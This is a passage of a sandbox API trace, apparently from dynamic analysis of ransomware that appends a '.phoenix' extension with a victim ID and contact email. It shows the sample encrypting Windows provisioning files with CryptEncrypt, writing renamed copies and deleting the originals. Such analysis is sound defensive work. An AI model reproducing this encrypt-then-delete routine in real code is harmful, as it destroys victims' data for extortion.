	[0247.332] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\311__connections_cellular_tdc norway (norway)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.332] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1517c0) returned 1
	[0247.332] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.332] ReadFile (in: hFile=0x2b0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c9, lpOverlapped=0x0) returned 1
	[0247.333] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0247.333] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0247.334] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151280) returned 1
	[0247.334] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.334] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0247.334] CryptDestroyKey (hKey=0x151280) returned 1
	[0247.334] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0247.334] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0247.334] CloseHandle (hObject=0x2b0) returned 1
	[0247.334] CloseHandle (hObject=0x2d4) returned 1
	[0247.335] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\311__connections_cellular_tdc norway (norway)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.335] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.335] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\312__connections_cellular_telenor (norway)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.336] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=645) returned 1
	[0247.336] CloseHandle (hObject=0x2d4) returned 1
	[0247.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\312__connections_cellular_telenor (norway)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\312__connections_cellular_telenor (norway)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.336] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\312__connections_cellular_telenor (norway)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.336] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.336] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.337] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\312__connections_cellular_telenor (norway)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.337] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151280) returned 1
	[0247.337] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.337] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x285, lpOverlapped=0x0) returned 1
	[0247.338] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0247.338] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
	[0247.339] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1513c0) returned 1
	[0247.339] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.339] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0247.339] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0247.339] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0247.340] CryptDestroyKey (hKey=0x151280) returned 1
	[0247.340] CloseHandle (hObject=0x2d4) returned 1
	[0247.340] CloseHandle (hObject=0x2b0) returned 1
	[0247.340] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\312__connections_cellular_telenor (norway)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.341] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.341] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\313__connections_cellular_omani qatari telecommunications company saoc (oman)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.341] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=749) returned 1
	[0247.341] CloseHandle (hObject=0x2b0) returned 1
	[0247.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\313__connections_cellular_omani qatari telecommunications company saoc (oman)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\313__connections_cellular_omani qatari telecommunications company saoc (oman)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.341] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\313__connections_cellular_omani qatari telecommunications company saoc (oman)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.342] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.342] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.342] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\313__connections_cellular_omani qatari telecommunications company saoc (oman)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.342] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151640) returned 1
	[0247.342] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.342] ReadFile (in: hFile=0x2b0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2ed, lpOverlapped=0x0) returned 1
	[0247.343] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2f0) returned 1
	[0247.344] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2f0, lpOverlapped=0x0) returned 1
	[0247.344] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151280) returned 1
	[0247.344] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.344] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xf0, dwBufLen=0xf0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xf0) returned 1
	[0247.344] CryptDestroyKey (hKey=0x151280) returned 1
	[0247.344] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1a2, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1a2, lpOverlapped=0x0) returned 1
	[0247.345] CryptDestroyKey (hKey=0x151640) returned 1
	[0247.345] CloseHandle (hObject=0x2b0) returned 1
	[0247.345] CloseHandle (hObject=0x2d4) returned 1
	[0247.345] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\313__connections_cellular_omani qatari telecommunications company saoc (oman)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.346] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.346] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\314__connections_cellular_mobilink gsm (pakistan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.346] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=666) returned 1
	[0247.346] CloseHandle (hObject=0x2d4) returned 1
	[0247.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\314__connections_cellular_mobilink gsm (pakistan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\314__connections_cellular_mobilink gsm (pakistan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.346] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\314__connections_cellular_mobilink gsm (pakistan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.346] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.346] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.346] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\314__connections_cellular_mobilink gsm (pakistan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.347] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151180) returned 1
	[0247.347] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.347] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x29a, lpOverlapped=0x0) returned 1
	[0247.348] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0) returned 1
	[0247.348] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2a0, lpOverlapped=0x0) returned 1
	[0247.349] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1513c0) returned 1
	[0247.349] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.349] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0247.349] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0247.349] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0247.349] CryptDestroyKey (hKey=0x151180) returned 1
	[0247.349] CloseHandle (hObject=0x2d4) returned 1
	[0247.349] CloseHandle (hObject=0x2b0) returned 1
	[0247.349] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\314__connections_cellular_mobilink gsm (pakistan)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.350] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.350] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\315__connections_cellular_mobilink gsm (pakistan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.351] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=655) returned 1
	[0247.351] CloseHandle (hObject=0x2b0) returned 1
	[0247.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\315__connections_cellular_mobilink gsm (pakistan)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0247.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\315__connections_cellular_mobilink gsm (pakistan)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.351] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\315__connections_cellular_mobilink gsm (pakistan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.351] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.351] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.351] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\315__connections_cellular_mobilink gsm (pakistan)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.352] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151680) returned 1
	[0247.352] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.352] ReadFile (in: hFile=0x2b0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x28f, lpOverlapped=0x0) returned 1
	[0247.353] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0247.353] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
